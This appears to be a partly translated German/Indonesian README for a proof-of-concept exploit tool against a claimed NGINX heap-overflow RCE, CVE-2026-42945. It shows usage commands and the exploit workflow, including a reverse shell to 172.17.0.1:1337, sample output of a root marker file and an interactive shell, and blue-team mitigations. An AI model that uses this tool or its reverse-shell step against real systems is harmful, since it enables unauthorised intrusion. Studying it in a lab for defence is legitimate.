⚠️ Ethische & rechtliche Warnung Dieses Tool ist nur für legitime und autorisierte Sicherheitstests gedacht — beauftragte Pentests, Lab/CTF oder eigene Assets. Die Nutzung ohne Erlaubnis des Systeminhabers ist eine Straftat (UU ITE, Computer Fraud and Abuse Act usw.). Der Benutzer trägt die volle Verantwortung für die Nutzung.

📖 Schwachstellenübersicht

CVE-2026-42945 ist eine Remote-Code-Execution-Schwachstelle (RCE) in der NGINX-Konfiguration „Rift“ — ein Heap-basierter Pufferüberlauf im Modul ngx_http_rewrite_module, der über einen bestimmten Location-Block (/api/users/...) ausgelöst wird. Die Auswirkung: Angreifer können über den system()-Handler innerhalb des Containers Befehle ausführen.

Dieses Repository enthält 2 Komponenten:

🏗 Arbeitsablauf

┌─────────────────────────────┐
│         scan.sh             │
│  Mode: auto / cmd / shell   │
└─────────────┬───────────────┘
              ▼
      [0] Preflight
      cek docker, curl, python3,
      nc, timeout + poc.py ada
              ▼
      [1] Verifikasi Target
      docker ps (label compose)
      → curl /api/users/42 (HTTP 200)
              ▼
      [2] PoC --cmd (max 3× retry)
      python3 poc.py --cmd 'echo hello
      from depthfirst > /tmp/pwned'
              │
              ▼ (timeout 300s per attempt)
      Verifikasi ground-truth:
      docker exec cat /tmp/pwned
              ▼
      [3] PoC --shell (opsional)
      listener 172.17.0.1:1337
      → prompt /bin/sh interaktif

⚙️ Systemanforderungen

Operator (Host, auf dem das Skript ausgeführt wird):

• Linux (bash) — getestet auf Kali / Ubuntu / Debian
• docker (mit sudo oder Benutzer in der docker-Gruppe)
• python3 + poc.py (im selben Verzeichnis wie scan.sh)
• curl, nc (netcat), timeout (coreutils)

Ziel (Lab):

• Container nginx-rift läuft (Provisionierung per Docker Compose)
• Host-Port 19321 ist unter 127.0.0.1 geöffnet
• Container ist mit der Docker-Bridge verbunden (Standard 172.17.0.1 für den Host-Listener)

📥 Installation

# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift

# 2. Pastikan executable
chmod +x scan.sh

# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout

scan.sh und poc.py müssen sich im selben Verzeichnis befinden.

🚀 Verwendung

./scan.sh          # alur lengkap (default: auto)
./scan.sh cmd      # hanya PoC single-command + verifikasi marker
./scan.sh shell    # langsung reverse-shell interaktif
./scan.sh help     # tampilkan bantuan

Modus auto (Standard)

1. Preflight — prüft alle Abhängigkeiten.
2. Zielverifizierung — Container gestartet? HTTP 200?
3. PoC --cmd — schreibt die Markierung hello from depthfirst nach /tmp/pwned in den Container (automatische Wiederholung max. 3×, Timeout 300 s/Versuch).
4. Ergebnisverifizierung — docker exec cat /tmp/pwned muss die Markierung enthalten (Ground-Truth, nicht nur das Lesen der Ausgabe).
5. Abfrage zur Reverse-Shell wechseln? → y für eine interaktive Sitzung.

Modus shell

./scan.sh shell

Führt poc.py --shell mit einem Listener unter 172.17.0.1:1337 aus. Nach erfolgreichem Brute-Force erhältst du eine interaktive /bin/sh-Eingabeaufforderung als NGINX-Worker-Benutzer im Container.

Hinweis: Die IP 172.17.0.1 ist die Host-Adresse auf der Standard-Docker-Bridge. Falls deine Bridge anders ist (docker network inspect bridge), ändere die Variable LISTEN_IP im oberen Teil von scan.sh.

🔧 Änderbare Konfiguration

Alle Parameter sind im Konfigurationsblock oben in scan.sh gebündelt:

📸 Beispielausgabe

┌──────────────────────────────────────────────────────────────┐
│  NGINX RIFT · CVE-2026-42945 · PoC Automation Driver  │
└──────────────────────────────────────────────────────────────┘

── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)

── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42

── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target  : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...

[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)

[?] Lanjut ke reverse-shell interaktif? [y/N]: y

── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force

[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)

🛠 Fehlerbehebung

🛡 Gegenmaßnahmen (für Blue Team)

1. NGINX patchen — Upgrade auf eine Version, die ngx_http_rewrite_module behebt / die Rift-Konfiguration entfernen.
2. Exposure einschränken — Container-Port nicht auf 0.0.0.0 exponieren; internes Netzwerk + Reverse-Proxy mit WAF verwenden.
3. Least Privilege — NGINX-Worker ohne zusätzliche Privilegien ausführen; Container nicht mit --privileged starten.
4. Monitoring — Alarm bei verdächtigen Anfragen an /api/users/ (nicht-numerische Muster, lange Payloads), Erkennung von /bin/sh-Spawns aus nginx-Prozessen.
5. Netzwerksegmentierung — Container-Bridge vom Host trennen; Container-Egress einschränken, um Reverse-Shells zu erschweren.

📁 Repository-Struktur

CVE-2026-42945_NginxRift/
├── scan.sh     # Automation orchestrator (bash) — verifikasi, PoC, verifikasi marker, shell
├── poc.py      # Exploit driver (python) — brute-force heap offset, mode --cmd / --shell
└── README.md   # Dokumentasi ini

⚖️ Haftungsausschluss & Lizenz

Nur für legitime Nutzung. Dieses Tool ist vorgesehen für:

• Professionelle, vertraglich beauftragte Penetrationstests
• Sicherheitsforschung & Responsible Disclosure
• Lab-/CTF-Umgebungen

Du musst eine schriftliche Genehmigung des Systeminhabers haben, bevor du dieses Tool auf irgendeiner Infrastruktur ausführst.

Das Repository wird „as-is“ ohne jegliche Gewährleistung bereitgestellt. Die Mitwirkenden übernehmen keine Verantwortung für Missbrauch.

Lizenz: MIT

📚 Referenzen

• CVE-2026-42945 — NVD / MITRE
• NGINX ngx_http_rewrite_module — offizielle Dokumentation
• Docker Compose — Dokumentation